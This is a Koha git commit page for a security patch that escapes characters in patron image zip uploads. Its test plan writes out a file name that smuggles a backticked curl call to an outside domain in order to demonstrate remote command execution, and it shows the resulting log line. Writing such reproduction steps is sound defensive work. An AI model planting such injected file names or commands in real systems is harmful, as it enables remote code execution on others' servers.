]> git.koha-community.org Git - koha.git/commit
Bug 37323: Escape characters in patron image picture upload
authorAmit Gupta <amit.gupta@informaticsglobal.com>
Thu, 11 Jul 2024 17:43:06 +0000 (23:13 +0530)
committerTomas Cohen Arazi <tomascohen@theke.io>
Mon, 12 Aug 2024 18:35:07 +0000 (15:35 -0300)
commit7a15b321a34f0b2a8a4a5361fa3633f26c68da5f
tree92b83d65f3731ccf4771dd52a7d7436b4c9ff317
parent8d1d82443633587d49d6320448eefd11bb8fd45d
Bug 37323: Escape characters in patron image picture upload

To Test
1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip
   where the domain is one you can watch the logs from.
2. Go to Tools and click on Upload patron images choose option zip file and upload the file.
3. Check /var/log/apache2/access.log and see the curl with the IP
   "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0"
4. Apply the patch
5. Repeat 2 and 3 step and check no error is coming for the Remote execution error.
6. Test uploading actual zip file and images still works.

Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
(cherry picked from commit 5c931e00f73e91467581fd29721e5af8d7fa98ab)
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
tools/picture-upload.pl